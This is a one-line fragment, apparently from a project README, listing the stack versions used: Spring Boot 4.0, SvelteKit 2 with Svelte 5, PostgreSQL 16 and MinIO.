*Stack versions: Spring Boot 4.0 · SvelteKit 2 / Svelte 5 · PostgreSQL 16 · MinIO RELEASE.2024+*
|